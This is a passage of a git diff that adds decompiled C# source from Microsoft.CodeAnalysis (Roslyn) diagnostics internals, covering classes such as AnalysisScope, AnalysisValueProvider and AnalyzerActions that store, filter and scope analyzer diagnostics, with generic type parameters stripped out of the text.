ApplySuppressionsAndStoreAnalysisResult(AnalysisScope analysisScope, AnalyzerDriver driver, Compilation compilation, Func getAnalyzerActionCounts, CancellationToken cancellationToken) + { + ImmutableArray.Enumerator enumerator = analysisScope.Analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + ImmutableArray diagnostics = driver.DequeueLocalDiagnosticsAndApplySuppressions(current, syntax: true, compilation, cancellationToken); + ImmutableArray diagnostics2 = driver.DequeueLocalDiagnosticsAndApplySuppressions(current, syntax: false, compilation, cancellationToken); + ImmutableArray diagnostics3 = driver.DequeueNonLocalDiagnosticsAndApplySuppressions(current, compilation, cancellationToken); + lock (_gate) + { + if (_completedAnalyzersForCompilation.Contains(current)) + { + continue; + } + bool overwrite = false; + bool overwrite2 = false; + bool overwrite3 = false; + bool flag = false; + if (analysisScope.FilterFileOpt.HasValue) + { + HashSet completedAnalyzersForFile_NoLock = GetCompletedAnalyzersForFile_NoLock(analysisScope.FilterFileOpt.Value, analysisScope.IsSyntacticSingleFileAnalysis); + if (completedAnalyzersForFile_NoLock != null && completedAnalyzersForFile_NoLock.Contains(current)) + { + continue; + } + if (!analysisScope.FilterSpanOpt.HasValue && !analysisScope.OriginalFilterSpan.HasValue) + { + if (completedAnalyzersForFile_NoLock != null) + { + completedAnalyzersForFile_NoLock.Add(current); + } + else + { + AddCompletedAnalyzerForFile_NoLock(analysisScope.FilterFileOpt.Value, analysisScope.IsSyntacticSingleFileAnalysis, current); + } + if (analysisScope.IsSyntacticSingleFileAnalysis) + { + if (analysisScope.FilterFileOpt.Value.SourceTree != null) + { + overwrite = true; + } + else + { + overwrite2 = true; + } + } + else + { + overwrite3 = true; + } + } + goto IL_019c; + } + _completedAnalyzersForCompilation.Add(current); + flag = true; + overwrite = true; + overwrite2 = true; + overwrite3 = true; + goto IL_019c; + IL_019c: + if (!diagnostics.IsEmpty) + { + UpdateLocalDiagnostics_NoLock(current, diagnostics, overwrite, getSourceTree, ref _localSyntaxDiagnosticsOpt); + UpdateLocalDiagnostics_NoLock(current, diagnostics, overwrite2, getAdditionalTextKey, ref _localAdditionalFileDiagnosticsOpt); + } + if (!diagnostics2.IsEmpty) + { + UpdateLocalDiagnostics_NoLock(current, diagnostics2, overwrite3, getSourceTree, ref _localSemanticDiagnosticsOpt); + } + if (!diagnostics3.IsEmpty) + { + UpdateNonLocalDiagnostics_NoLock(current, diagnostics3, flag); + } + if (_analyzerExecutionTimeOpt != null) + { + TimeSpan timeSpan = driver.ResetAnalyzerExecutionTime(current); + _analyzerExecutionTimeOpt[current] = (flag ? timeSpan : (_analyzerExecutionTimeOpt[current] + timeSpan)); + } + if (!_analyzerActionCounts.ContainsKey(current)) + { + _analyzerActionCounts.Add(current, getAnalyzerActionCounts(current)); + } + } + } + AdditionalText? getAdditionalTextKey(Diagnostic diagnostic) + { + if (diagnostic.Location is ExternalFileLocation externalFileLocation && _pathToAdditionalTextMap.TryGetValue(externalFileLocation.GetLineSpan().Path, out OneOrMany value)) + { + OneOrMany.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AdditionalText current2 = enumerator2.Current; + if (analysisScope.AdditionalFiles.Contains(current2)) + { + return current2; + } + } + } + return null; + } + static SyntaxTree? getSourceTree(Diagnostic diagnostic) + { + return diagnostic.Location.SourceTree; + } + } + + private void UpdateLocalDiagnostics_NoLock(DiagnosticAnalyzer analyzer, ImmutableArray diagnostics, bool overwrite, Func getKeyFunc, ref Dictionary.Builder>>? lazyLocalDiagnostics) where TKey : class + { + if (diagnostics.IsEmpty) + { + return; + } + lazyLocalDiagnostics = lazyLocalDiagnostics ?? new Dictionary.Builder>>(); + foreach (IGrouping item in diagnostics.GroupBy(getKeyFunc)) + { + TKey key = item.Key; + if (key != null) + { + if (!lazyLocalDiagnostics.TryGetValue(key, out Dictionary.Builder> value)) + { + value = new Dictionary.Builder>(); + lazyLocalDiagnostics[key] = value; + } + if (!value.TryGetValue(analyzer, out var value2)) + { + value2 = (value[analyzer] = ImmutableArray.CreateBuilder()); + } + UpdateDiagnosticsCore_NoLock(value2, item, overwrite); + } + } + } + + private void UpdateNonLocalDiagnostics_NoLock(DiagnosticAnalyzer analyzer, ImmutableArray diagnostics, bool overwrite) + { + if (!diagnostics.IsEmpty) + { + _nonLocalDiagnosticsOpt = _nonLocalDiagnosticsOpt ?? new Dictionary.Builder>(); + if (!_nonLocalDiagnosticsOpt.TryGetValue(analyzer, out ImmutableArray.Builder value)) + { + value = ImmutableArray.CreateBuilder(); + _nonLocalDiagnosticsOpt[analyzer] = value; + } + UpdateDiagnosticsCore_NoLock(value, diagnostics, overwrite); + } + } + + private static void UpdateDiagnosticsCore_NoLock(ImmutableArray.Builder currentDiagnostics, IEnumerable diagnostics, bool overwrite) + { + if (overwrite) + { + currentDiagnostics.Clear(); + } + else + { + diagnostics = diagnostics.Where((Diagnostic d) => !currentDiagnostics.Contains(d)); + } + currentDiagnostics.AddRange(diagnostics); + } + + internal ImmutableArray GetDiagnostics(AnalysisScope analysisScope, bool getLocalDiagnostics, bool getNonLocalDiagnostics) + { + lock (_gate) + { + return GetDiagnostics_NoLock(analysisScope, getLocalDiagnostics, getNonLocalDiagnostics); + } + } + + private ImmutableArray GetDiagnostics_NoLock(AnalysisScope analysisScope, bool getLocalDiagnostics, bool getNonLocalDiagnostics) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + if (getLocalDiagnostics) + { + if (!analysisScope.IsSingleFileAnalysis) + { + AddAllLocalDiagnostics_NoLock(_localSyntaxDiagnosticsOpt, analysisScope, builder); + AddAllLocalDiagnostics_NoLock(_localSemanticDiagnosticsOpt, analysisScope, builder); + AddAllLocalDiagnostics_NoLock(_localAdditionalFileDiagnosticsOpt, analysisScope, builder); + } + else if (analysisScope.IsSyntacticSingleFileAnalysis) + { + AddLocalDiagnosticsForPartialAnalysis_NoLock(_localSyntaxDiagnosticsOpt, analysisScope, builder); + AddLocalDiagnosticsForPartialAnalysis_NoLock(_localAdditionalFileDiagnosticsOpt, analysisScope, builder); + } + else + { + AddLocalDiagnosticsForPartialAnalysis_NoLock(_localSemanticDiagnosticsOpt, analysisScope, builder); + } + } + if (getNonLocalDiagnostics && _nonLocalDiagnosticsOpt != null) + { + AddDiagnostics_NoLock(_nonLocalDiagnosticsOpt, analysisScope.Analyzers, builder); + } + return builder.ToImmutableArray(); + } + + private static void AddAllLocalDiagnostics_NoLock(Dictionary.Builder>>? lazyLocalDiagnostics, AnalysisScope analysisScope, ImmutableArray.Builder builder) where TKey : class + { + if (lazyLocalDiagnostics == null) + { + return; + } + foreach (Dictionary.Builder> value in lazyLocalDiagnostics.Values) + { + AddDiagnostics_NoLock(value, analysisScope.Analyzers, builder); + } + } + + private static void AddLocalDiagnosticsForPartialAnalysis_NoLock(Dictionary.Builder>>? localDiagnostics, AnalysisScope analysisScope, ImmutableArray.Builder builder) + { + AddLocalDiagnosticsForPartialAnalysis_NoLock(localDiagnostics, analysisScope.FilterFileOpt.Value.SourceTree, analysisScope.Analyzers, builder); + } + + private static void AddLocalDiagnosticsForPartialAnalysis_NoLock(Dictionary.Builder>>? localDiagnostics, AnalysisScope analysisScope, ImmutableArray.Builder builder) + { + AddLocalDiagnosticsForPartialAnalysis_NoLock(localDiagnostics, analysisScope.FilterFileOpt.Value.AdditionalFile, analysisScope.Analyzers, builder); + } + + private static void AddLocalDiagnosticsForPartialAnalysis_NoLock(Dictionary.Builder>>? localDiagnostics, TKey? key, ImmutableArray analyzers, ImmutableArray.Builder builder) where TKey : class + { + if (key != null && localDiagnostics != null && localDiagnostics.TryGetValue(key, out Dictionary.Builder> value)) + { + AddDiagnostics_NoLock(value, analyzers, builder); + } + } + + private static void AddDiagnostics_NoLock(Dictionary.Builder> diagnostics, ImmutableArray analyzers, ImmutableArray.Builder builder) + { + ImmutableArray.Enumerator enumerator = analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + if (diagnostics.TryGetValue(current, out ImmutableArray.Builder value)) + { + builder.AddRange(value); + } + } + } + + internal AnalysisResult ToAnalysisResult(ImmutableArray analyzers, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + ImmutableHashSet analyzers2 = analyzers.ToImmutableHashSet(); + Func shouldInclude = analysisScope.ShouldInclude; + ImmutableDictionary>> immutable; + ImmutableDictionary>> immutable2; + ImmutableDictionary>> immutable3; + ImmutableDictionary> immutable4; + lock (_gate) + { + immutable = GetImmutable(analyzers2, shouldInclude, _localSyntaxDiagnosticsOpt); + immutable2 = GetImmutable(analyzers2, shouldInclude, _localSemanticDiagnosticsOpt); + immutable3 = GetImmutable(analyzers2, shouldInclude, _localAdditionalFileDiagnosticsOpt); + immutable4 = GetImmutable(analyzers2, shouldInclude, _nonLocalDiagnosticsOpt); + } + cancellationToken.ThrowIfCancellationRequested(); + ImmutableDictionary telemetryInfo = GetTelemetryInfo(analyzers); + return new AnalysisResult(analyzers, immutable, immutable2, immutable3, immutable4, telemetryInfo); + } + + private static ImmutableDictionary>> GetImmutable(ImmutableHashSet analyzers, Func shouldInclude, Dictionary.Builder>>? localDiagnosticsOpt) where TKey : class + { + if (localDiagnosticsOpt == null) + { + return ImmutableDictionary>>.Empty; + } + ImmutableDictionary>>.Builder builder = ImmutableDictionary.CreateBuilder>>(); + ImmutableDictionary>.Builder builder2 = ImmutableDictionary.CreateBuilder>(); + foreach (KeyValuePair.Builder>> item in localDiagnosticsOpt) + { + TKey key = item.Key; + foreach (KeyValuePair.Builder> item2 in item.Value) + { + if (analyzers.Contains(item2.Key)) + { + ImmutableArray value = item2.Value.Where(shouldInclude).ToImmutableArray(); + if (!value.IsEmpty) + { + builder2.Add(item2.Key, value); + } + } + } + builder.Add(key, builder2.ToImmutable()); + builder2.Clear(); + } + return builder.ToImmutable(); + } + + private static ImmutableDictionary> GetImmutable(ImmutableHashSet analyzers, Func shouldInclude, Dictionary.Builder>? nonLocalDiagnosticsOpt) + { + if (nonLocalDiagnosticsOpt == null) + { + return ImmutableDictionary>.Empty; + } + ImmutableDictionary>.Builder builder = ImmutableDictionary.CreateBuilder>(); + foreach (KeyValuePair.Builder> item in nonLocalDiagnosticsOpt) + { + if (analyzers.Contains(item.Key)) + { + ImmutableArray value = item.Value.Where(shouldInclude).ToImmutableArray(); + if (!value.IsEmpty) + { + builder.Add(item.Key, value); + } + } + } + return builder.ToImmutable(); + } + + private ImmutableDictionary GetTelemetryInfo(ImmutableArray analyzers) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + lock (_gate) + { + ImmutableArray.Enumerator enumerator = analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + if (!_analyzerActionCounts.TryGetValue(current, out AnalyzerActionCounts value)) + { + value = AnalyzerActionCounts.Empty; + } + int suppressionActionCounts = ((current is DiagnosticSuppressor) ? 1 : 0); + TimeSpan executionTime = ((_analyzerExecutionTimeOpt != null) ? _analyzerExecutionTimeOpt[current] : default(TimeSpan)); + AnalyzerTelemetryInfo value2 = new AnalyzerTelemetryInfo(value, suppressionActionCounts, executionTime); + builder.Add(current, value2); + } + } + return builder.ToImmutable(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisScope.cs new file mode 100644 index 0000000..6d97b88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisScope.cs @@ -0,0 +1,266 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal class AnalysisScope +{ + private readonly Lazy> _lazyAnalyzersSet; + + public SourceOrAdditionalFile? FilterFileOpt { get; } + + public TextSpan? FilterSpanOpt { get; } + + public SourceOrAdditionalFile? OriginalFilterFile { get; } + + public TextSpan? OriginalFilterSpan { get; } + + public ImmutableArray Analyzers { get; } + + public ImmutableArray SyntaxTrees { get; } + + public ImmutableArray AdditionalFiles { get; } + + public bool ConcurrentAnalysis { get; } + + public bool IsSyntacticSingleFileAnalysis { get; } + + public bool IsSingleFileAnalysis => FilterFileOpt.HasValue; + + private bool HasAllAnalyzers { get; } + + public bool IsSingleFileAnalysisForCompilerAnalyzer + { + get + { + if (IsSingleFileAnalysis) + { + ImmutableArray analyzers = Analyzers; + if (analyzers.Length == 1) + { + return analyzers[0] is CompilerDiagnosticAnalyzer; + } + return false; + } + return false; + } + } + + public bool IsSemanticSingleFileAnalysisForCompilerAnalyzer + { + get + { + if (IsSingleFileAnalysisForCompilerAnalyzer) + { + return !IsSyntacticSingleFileAnalysis; + } + return false; + } + } + + public static AnalysisScope Create(Compilation compilation, ImmutableArray analyzers, CompilationWithAnalyzers compilationWithAnalyzers) + { + AnalyzerOptions options = compilationWithAnalyzers.AnalysisOptions.Options; + bool hasAllAnalyzers = ComputeHasAllAnalyzers(analyzers, compilationWithAnalyzers); + bool concurrentAnalysis = compilationWithAnalyzers.AnalysisOptions.ConcurrentAnalysis; + return Create(compilation, options, analyzers, hasAllAnalyzers, concurrentAnalysis); + } + + public static AnalysisScope CreateForBatchCompile(Compilation compilation, AnalyzerOptions analyzerOptions, ImmutableArray analyzers) + { + return Create(compilation, analyzerOptions, analyzers, hasAllAnalyzers: true, compilation.Options.ConcurrentBuild); + } + + private static AnalysisScope Create(Compilation compilation, AnalyzerOptions? analyzerOptions, ImmutableArray analyzers, bool hasAllAnalyzers, bool concurrentAnalysis) + { + ImmutableArray additionalFiles = analyzerOptions?.AdditionalFiles ?? ImmutableArray.Empty; + return new AnalysisScope(compilation.CommonSyntaxTrees, additionalFiles, analyzers, hasAllAnalyzers, null, null, null, null, isSyntacticSingleFileAnalysis: false, concurrentAnalysis); + } + + public static AnalysisScope Create(ImmutableArray analyzers, SourceOrAdditionalFile filterFile, TextSpan? filterSpan, bool isSyntacticSingleFileAnalysis, CompilationWithAnalyzers compilationWithAnalyzers) + { + return Create(analyzers, filterFile, filterSpan, filterFile, filterSpan, isSyntacticSingleFileAnalysis, compilationWithAnalyzers); + } + + public static AnalysisScope Create(ImmutableArray analyzers, SourceOrAdditionalFile filterFile, TextSpan? filterSpan, SourceOrAdditionalFile originalFilterFile, TextSpan? originalFilterSpan, bool isSyntacticSingleFileAnalysis, CompilationWithAnalyzers compilationWithAnalyzers) + { + return new AnalysisScope((filterFile.SourceTree != null) ? ImmutableArray.Create(filterFile.SourceTree) : ImmutableArray.Empty, (filterFile.AdditionalFile != null) ? ImmutableArray.Create(filterFile.AdditionalFile) : ImmutableArray.Empty, hasAllAnalyzers: ComputeHasAllAnalyzers(analyzers, compilationWithAnalyzers), concurrentAnalysis: compilationWithAnalyzers.AnalysisOptions.ConcurrentAnalysis, analyzers: analyzers, filterFile: filterFile, filterSpanOpt: filterSpan, originalFilterFile: originalFilterFile, originalFilterSpan: originalFilterSpan, isSyntacticSingleFileAnalysis: isSyntacticSingleFileAnalysis); + } + + private AnalysisScope(ImmutableArray trees, ImmutableArray additionalFiles, ImmutableArray analyzers, bool hasAllAnalyzers, SourceOrAdditionalFile? filterFile, TextSpan? filterSpanOpt, SourceOrAdditionalFile? originalFilterFile, TextSpan? originalFilterSpan, bool isSyntacticSingleFileAnalysis, bool concurrentAnalysis) + { + SyntaxTrees = trees; + AdditionalFiles = additionalFiles; + Analyzers = analyzers; + HasAllAnalyzers = hasAllAnalyzers; + FilterFileOpt = filterFile; + FilterSpanOpt = GetEffectiveFilterSpan(filterSpanOpt, filterFile); + OriginalFilterFile = originalFilterFile; + OriginalFilterSpan = GetEffectiveFilterSpan(originalFilterSpan, originalFilterFile); + IsSyntacticSingleFileAnalysis = isSyntacticSingleFileAnalysis; + ConcurrentAnalysis = concurrentAnalysis; + _lazyAnalyzersSet = new Lazy>(CreateAnalyzersSet); + } + + private static TextSpan? GetEffectiveFilterSpan(TextSpan? filterSpan, SourceOrAdditionalFile? filterFile) + { + if (filterSpan.HasValue && filterFile.GetValueOrDefault().SourceTree != null && filterSpan.GetValueOrDefault().Start == 0 && filterSpan.GetValueOrDefault().Length == filterFile.GetValueOrDefault().SourceTree.Length) + { + return null; + } + return filterSpan; + } + + private ImmutableHashSet CreateAnalyzersSet() + { + return Analyzers.ToImmutableHashSet(); + } + + public bool Contains(DiagnosticAnalyzer analyzer) + { + if (HasAllAnalyzers) + { + return true; + } + return _lazyAnalyzersSet.Value.Contains(analyzer); + } + + public AnalysisScope WithAnalyzers(ImmutableArray analyzers, CompilationWithAnalyzers compilationWithAnalyzers) + { + bool hasAllAnalyzers = ComputeHasAllAnalyzers(analyzers, compilationWithAnalyzers); + return new AnalysisScope(SyntaxTrees, AdditionalFiles, analyzers, hasAllAnalyzers, FilterFileOpt, FilterSpanOpt, OriginalFilterFile, OriginalFilterSpan, IsSyntacticSingleFileAnalysis, ConcurrentAnalysis); + } + + private static bool ComputeHasAllAnalyzers(ImmutableArray analyzers, CompilationWithAnalyzers compilationWithAnalyzers) + { + return compilationWithAnalyzers.Analyzers.Length == analyzers.Length; + } + + public AnalysisScope WithFilterSpan(TextSpan? filterSpan) + { + return new AnalysisScope(SyntaxTrees, AdditionalFiles, Analyzers, HasAllAnalyzers, FilterFileOpt, filterSpan, OriginalFilterFile, OriginalFilterSpan, IsSyntacticSingleFileAnalysis, ConcurrentAnalysis); + } + + public static bool ShouldSkipSymbolAnalysis(SymbolDeclaredCompilationEvent symbolEvent) + { + if (!symbolEvent.Symbol.IsImplicitlyDeclared) + { + return symbolEvent.DeclaringSyntaxReferences.All((SyntaxReference s) => s.SyntaxTree == null); + } + return true; + } + + public static bool ShouldSkipDeclarationAnalysis(ISymbol symbol) + { + if (symbol.IsImplicitlyDeclared) + { + if (symbol.Kind == SymbolKind.Namespace) + { + return !((INamespaceSymbol)symbol).IsGlobalNamespace; + } + return true; + } + return false; + } + + public bool ShouldAnalyze(SyntaxTree tree) + { + if (FilterFileOpt.HasValue) + { + return FilterFileOpt.GetValueOrDefault().SourceTree == tree; + } + return true; + } + + public bool ShouldAnalyze(AdditionalText file) + { + if (FilterFileOpt.HasValue) + { + return FilterFileOpt.GetValueOrDefault().AdditionalFile == file; + } + return true; + } + + public bool ShouldAnalyze(SymbolDeclaredCompilationEvent symbolEvent, Func getTopmostNodeForAnalysis, CancellationToken cancellationToken) + { + if (!FilterFileOpt.HasValue) + { + return true; + } + SyntaxTree sourceTree = FilterFileOpt.GetValueOrDefault().SourceTree; + if (sourceTree == null) + { + return false; + } + ImmutableArray.Enumerator enumerator = symbolEvent.DeclaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + if (current.SyntaxTree == sourceTree) + { + SyntaxNode syntaxNode = getTopmostNodeForAnalysis(symbolEvent.Symbol, current, symbolEvent.Compilation, cancellationToken); + if (ShouldInclude(syntaxNode.FullSpan)) + { + return true; + } + } + } + return false; + } + + public bool ShouldAnalyze(SyntaxNode node) + { + if (!FilterFileOpt.HasValue) + { + return true; + } + if (FilterFileOpt.GetValueOrDefault().SourceTree == null) + { + return false; + } + return ShouldInclude(node.FullSpan); + } + + public bool ShouldInclude(TextSpan filterSpan) + { + if (FilterSpanOpt.HasValue) + { + return FilterSpanOpt.GetValueOrDefault().IntersectsWith(filterSpan); + } + return true; + } + + public bool ContainsSpan(TextSpan filterSpan) + { + if (FilterSpanOpt.HasValue) + { + return FilterSpanOpt.GetValueOrDefault().Contains(filterSpan); + } + return true; + } + + public bool ShouldInclude(Diagnostic diagnostic) + { + if (!FilterFileOpt.HasValue) + { + return true; + } + SourceOrAdditionalFile valueOrDefault = FilterFileOpt.GetValueOrDefault(); + if (diagnostic.Location.IsInSource) + { + if (diagnostic.Location.SourceTree != valueOrDefault.SourceTree) + { + return false; + } + } + else if (diagnostic.Location is ExternalFileLocation externalFileLocation && (valueOrDefault.AdditionalFile == null || !PathUtilities.Comparer.Equals(externalFileLocation.GetLineSpan().Path, valueOrDefault.AdditionalFile.Path))) + { + return false; + } + return ShouldInclude(diagnostic.Location.SourceSpan); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisValueProvider.cs new file mode 100644 index 0000000..46fbb5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalysisValueProvider.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal class AnalysisValueProvider where TKey : class +{ + private sealed class WrappedValue + { + public TValue Value { get; } + + public WrappedValue(TValue value) + { + Value = value; + } + } + + private readonly Func _computeValue; + + private readonly ConditionalWeakTable _valueCache; + + private readonly ConditionalWeakTable.CreateValueCallback _valueCacheCallback; + + internal IEqualityComparer KeyComparer { get; private set; } + + public AnalysisValueProvider(Func computeValue, IEqualityComparer keyComparer) + { + _computeValue = computeValue; + KeyComparer = keyComparer ?? EqualityComparer.Default; + _valueCache = new ConditionalWeakTable(); + _valueCacheCallback = ComputeValue; + } + + private WrappedValue ComputeValue(TKey key) + { + return new WrappedValue(_computeValue(key)); + } + + internal bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + try + { + value = _valueCache.GetValue(key, _valueCacheCallback).Value; + return true; + } + catch (Exception) + { + value = default(TValue); + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAction.cs new file mode 100644 index 0000000..aecb4a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerAction.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal abstract class AnalyzerAction +{ + internal DiagnosticAnalyzer Analyzer { get; } + + internal AnalyzerAction(DiagnosticAnalyzer analyzer) + { + Analyzer = analyzer; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerActions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerActions.cs new file mode 100644 index 0000000..745433f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerActions.cs @@ -0,0 +1,327 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal struct AnalyzerActions +{ + public static readonly AnalyzerActions Empty; + + private ImmutableArray _compilationStartActions; + + private ImmutableArray _compilationEndActions; + + private ImmutableArray _compilationActions; + + private ImmutableArray _syntaxTreeActions; + + private ImmutableArray _additionalFileActions; + + private ImmutableArray _semanticModelActions; + + private ImmutableArray _symbolActions; + + private ImmutableArray _symbolStartActions; + + private ImmutableArray _symbolEndActions; + + private ImmutableArray _codeBlockStartActions; + + private ImmutableArray _codeBlockEndActions; + + private ImmutableArray _codeBlockActions; + + private ImmutableArray _operationBlockStartActions; + + private ImmutableArray _operationBlockEndActions; + + private ImmutableArray _operationBlockActions; + + private ImmutableArray _syntaxNodeActions; + + private ImmutableArray _operationActions; + + private bool _concurrent; + + public readonly int CompilationStartActionsCount => _compilationStartActions.Length; + + public readonly int CompilationEndActionsCount => _compilationEndActions.Length; + + public readonly int CompilationActionsCount => _compilationActions.Length; + + public readonly int SyntaxTreeActionsCount => _syntaxTreeActions.Length; + + public readonly int AdditionalFileActionsCount => _additionalFileActions.Length; + + public readonly int SemanticModelActionsCount => _semanticModelActions.Length; + + public readonly int SymbolActionsCount => _symbolActions.Length; + + public readonly int SymbolStartActionsCount => _symbolStartActions.Length; + + public readonly int SymbolEndActionsCount => _symbolEndActions.Length; + + public readonly int SyntaxNodeActionsCount => _syntaxNodeActions.Length; + + public readonly int OperationActionsCount => _operationActions.Length; + + public readonly int OperationBlockStartActionsCount => _operationBlockStartActions.Length; + + public readonly int OperationBlockEndActionsCount => _operationBlockEndActions.Length; + + public readonly int OperationBlockActionsCount => _operationBlockActions.Length; + + public readonly int CodeBlockStartActionsCount => _codeBlockStartActions.Length; + + public readonly int CodeBlockEndActionsCount => _codeBlockEndActions.Length; + + public readonly int CodeBlockActionsCount => _codeBlockActions.Length; + + public readonly bool Concurrent => _concurrent; + + public bool IsEmpty { get; private set; } + + public readonly bool IsDefault => _compilationStartActions.IsDefault; + + internal readonly ImmutableArray CompilationStartActions => _compilationStartActions; + + internal readonly ImmutableArray CompilationEndActions => _compilationEndActions; + + internal readonly ImmutableArray CompilationActions => _compilationActions; + + internal readonly ImmutableArray SyntaxTreeActions => _syntaxTreeActions; + + internal readonly ImmutableArray AdditionalFileActions => _additionalFileActions; + + internal readonly ImmutableArray SemanticModelActions => _semanticModelActions; + + internal readonly ImmutableArray SymbolActions => _symbolActions; + + internal readonly ImmutableArray SymbolStartActions => _symbolStartActions; + + internal readonly ImmutableArray SymbolEndActions => _symbolEndActions; + + internal readonly ImmutableArray CodeBlockEndActions => _codeBlockEndActions; + + internal readonly ImmutableArray CodeBlockActions => _codeBlockActions; + + internal readonly ImmutableArray OperationBlockActions => _operationBlockActions; + + internal readonly ImmutableArray OperationBlockEndActions => _operationBlockEndActions; + + internal readonly ImmutableArray OperationBlockStartActions => _operationBlockStartActions; + + internal readonly ImmutableArray OperationActions => _operationActions; + + internal AnalyzerActions(bool concurrent) + { + _compilationStartActions = ImmutableArray.Empty; + _compilationEndActions = ImmutableArray.Empty; + _compilationActions = ImmutableArray.Empty; + _syntaxTreeActions = ImmutableArray.Empty; + _additionalFileActions = ImmutableArray.Empty; + _semanticModelActions = ImmutableArray.Empty; + _symbolActions = ImmutableArray.Empty; + _symbolStartActions = ImmutableArray.Empty; + _symbolEndActions = ImmutableArray.Empty; + _codeBlockStartActions = ImmutableArray.Empty; + _codeBlockEndActions = ImmutableArray.Empty; + _codeBlockActions = ImmutableArray.Empty; + _operationBlockStartActions = ImmutableArray.Empty; + _operationBlockEndActions = ImmutableArray.Empty; + _operationBlockActions = ImmutableArray.Empty; + _syntaxNodeActions = ImmutableArray.Empty; + _operationActions = ImmutableArray.Empty; + _concurrent = concurrent; + IsEmpty = true; + } + + public AnalyzerActions(ImmutableArray compilationStartActions, ImmutableArray compilationEndActions, ImmutableArray compilationActions, ImmutableArray syntaxTreeActions, ImmutableArray additionalFileActions, ImmutableArray semanticModelActions, ImmutableArray symbolActions, ImmutableArray symbolStartActions, ImmutableArray symbolEndActions, ImmutableArray codeBlockStartActions, ImmutableArray codeBlockEndActions, ImmutableArray codeBlockActions, ImmutableArray operationBlockStartActions, ImmutableArray operationBlockEndActions, ImmutableArray operationBlockActions, ImmutableArray syntaxNodeActions, ImmutableArray operationActions, bool concurrent, bool isEmpty) + { + _compilationStartActions = compilationStartActions; + _compilationEndActions = compilationEndActions; + _compilationActions = compilationActions; + _syntaxTreeActions = syntaxTreeActions; + _additionalFileActions = additionalFileActions; + _semanticModelActions = semanticModelActions; + _symbolActions = symbolActions; + _symbolStartActions = symbolStartActions; + _symbolEndActions = symbolEndActions; + _codeBlockStartActions = codeBlockStartActions; + _codeBlockEndActions = codeBlockEndActions; + _codeBlockActions = codeBlockActions; + _operationBlockStartActions = operationBlockStartActions; + _operationBlockEndActions = operationBlockEndActions; + _operationBlockActions = operationBlockActions; + _syntaxNodeActions = syntaxNodeActions; + _operationActions = operationActions; + _concurrent = concurrent; + IsEmpty = isEmpty; + } + + internal readonly ImmutableArray> GetCodeBlockStartActions() where TLanguageKindEnum : struct + { + return _codeBlockStartActions.OfType>().ToImmutableArray(); + } + + internal readonly ImmutableArray> GetSyntaxNodeActions() where TLanguageKindEnum : struct + { + return _syntaxNodeActions.OfType>().ToImmutableArray(); + } + + internal readonly ImmutableArray> GetSyntaxNodeActions(DiagnosticAnalyzer analyzer) where TLanguageKindEnum : struct + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = _syntaxNodeActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalyzerAction current = enumerator.Current; + if (current.Analyzer == analyzer && current is SyntaxNodeAnalyzerAction item) + { + instance.Add(item); + } + } + return instance.ToImmutableAndFree(); + } + + internal void AddCompilationStartAction(CompilationStartAnalyzerAction action) + { + _compilationStartActions = _compilationStartActions.Add(action); + IsEmpty = false; + } + + internal void AddCompilationEndAction(CompilationAnalyzerAction action) + { + _compilationEndActions = _compilationEndActions.Add(action); + IsEmpty = false; + } + + internal void AddCompilationAction(CompilationAnalyzerAction action) + { + _compilationActions = _compilationActions.Add(action); + IsEmpty = false; + } + + internal void AddSyntaxTreeAction(SyntaxTreeAnalyzerAction action) + { + _syntaxTreeActions = _syntaxTreeActions.Add(action); + IsEmpty = false; + } + + internal void AddAdditionalFileAction(AdditionalFileAnalyzerAction action) + { + _additionalFileActions = _additionalFileActions.Add(action); + IsEmpty = false; + } + + internal void AddSemanticModelAction(SemanticModelAnalyzerAction action) + { + _semanticModelActions = _semanticModelActions.Add(action); + IsEmpty = false; + } + + internal void 